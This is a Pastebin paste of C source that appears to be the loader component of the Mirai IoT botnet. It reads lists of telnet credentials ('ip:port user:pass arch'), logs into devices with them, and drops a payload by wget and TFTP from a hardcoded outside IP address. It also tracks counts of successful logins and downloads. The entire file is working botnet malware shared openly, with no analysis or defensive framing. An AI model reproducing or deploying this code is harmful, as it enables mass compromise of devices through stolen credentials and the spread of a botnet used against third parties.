miraip0ts

main

Feb 8th, 2017
603
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.97 KB | None | 0 0
  1. # wget http://pastebin.com/raw/h435YsyY  -O main.c
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <string.h>
  6. #include <unistd.h>
  7. #include <pthread.h>
  8. #include <sys/socket.h>
  9. #include <errno.h>
  10. #include "headers/includes.h"
  11. #include "headers/server.h"
  12. #include "headers/telnet_info.h"
  13. #include "headers/binary.h"
  14. #include "headers/util.h"
  15.  
  16. static void *stats_thread(void *);
  17.  
  18. static struct server *srv;
  19.  
  20. char *id_tag = "telnet";
  21.  
  22. int main(int argc, char **args)
  23. {
  24.     pthread_t stats_thrd;
  25.     uint8_t addrs_len;
  26.     ipv4_t *addrs;
  27.     uint32_t total = 0;
  28.     struct telnet_info info;
  29.  
  30. #ifdef DEBUG
  31.     addrs_len = 1;
  32.     addrs = calloc(4, sizeof (ipv4_t));
  33.     addrs[0] = inet_addr("0.0.0.0");
  34. #else
  35.     addrs_len = 1;
  36.     addrs = calloc(addrs_len, sizeof (ipv4_t));
  37.  
  38.     addrs[0] = inet_addr("0.0.0.0");
  39. #endif
  40.  
  41.     if (argc == 2)
  42.     {
  43.         id_tag = args[1];
  44.     }
  45.  
  46.     if (!binary_init())
  47.     {
  48.         printf("Failed to load bins/dlr.* as dropper\n");
  49.         return 1;
  50.     }
  51.  
  52.     /*                                                                                   wget address           tftp address */
  53.     if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "89.36.214.132", 80, "89.36.214.132")) == NULL)
  54.     {
  55.         printf("Failed to initialize server. Aborting\n");
  56.         return 1;
  57.     }
  58.  
  59.     pthread_create(&stats_thrd, NULL, stats_thread, NULL);
  60.  
  61.     // Read from stdin
  62.     while (TRUE)
  63.     {
  64.         char strbuf[1024];
  65.  
  66.         if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)
  67.             break;
  68.  
  69.         util_trim(strbuf);
  70.  
  71.         if (strlen(strbuf) == 0)
  72.         {
  73.             usleep(10000);
  74.             continue;
  75.         }
  76.  
  77.         memset(&info, 0, sizeof(struct telnet_info));
  78.         if (telnet_info_parse(strbuf, &info) == NULL)
  79.             printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf);
  80.         else
  81.         {
  82.             if (srv == NULL)
  83.                 printf("srv == NULL 2\n");
  84.  
  85.             server_queue_telnet(srv, &info);
  86.             if (total++ % 1000 == 0)
  87.                 sleep(1);
  88.         }
  89.  
  90.         ATOMIC_INC(&srv->total_input);
  91.     }
  92.  
  93.     printf("Hit end of input.\n");
  94.  
  95.     while(ATOMIC_GET(&srv->curr_open) > 0)
  96.         sleep(1);
  97.  
  98.     return 0;
  99. }
  100.  
  101. static void *stats_thread(void *arg)
  102. {
  103.     uint32_t seconds = 0;
  104.  
  105.     while (TRUE)
  106.     {
  107. #ifndef DEBUG
  108.         printf("%ds\tProcessed: \033[34m%d\t\033[0m Conns: \033[32m%d\t\033[0m Logins: \033[36m%d\t\033[0m Ran: \033[31m%d\t\033[0m Echoes: \033[35m%d\033[0m Wgets: \033[33m%d\033[0m TFTPs: \033[36m%d\033[0m\n",
  109.                seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes),
  110.                ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps));
  111. #endif
  112.         fflush(stdout);
  113.         sleep(1);
  114.     }
  115. }
Advertisement
Add Comment
Please, Sign In to add comment